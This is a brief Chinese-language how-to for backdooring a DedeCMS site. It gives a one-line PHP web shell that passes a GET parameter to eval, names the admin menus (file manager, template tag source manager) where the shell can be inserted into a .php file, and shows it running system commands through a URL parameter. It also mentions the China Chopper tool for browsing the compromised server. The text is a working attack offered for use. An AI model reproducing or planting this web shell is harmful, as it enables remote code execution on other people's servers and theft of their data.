一句话: <?php @eval($_GET['as']); ?> //as是形式参数 位置: 1、模块——模块管理——文件管理器 2、模板——模板管理——标签源码管理 3、、、 进入,选择.PHP文件,插入一句话 使用: 1、在网页上,、、、/dede/ad_add.php?as=system('dir'); //可以显示该目录下的文件、文件大小以及字节数 2、利用工具(菜刀),可以详细浏览目录下的文件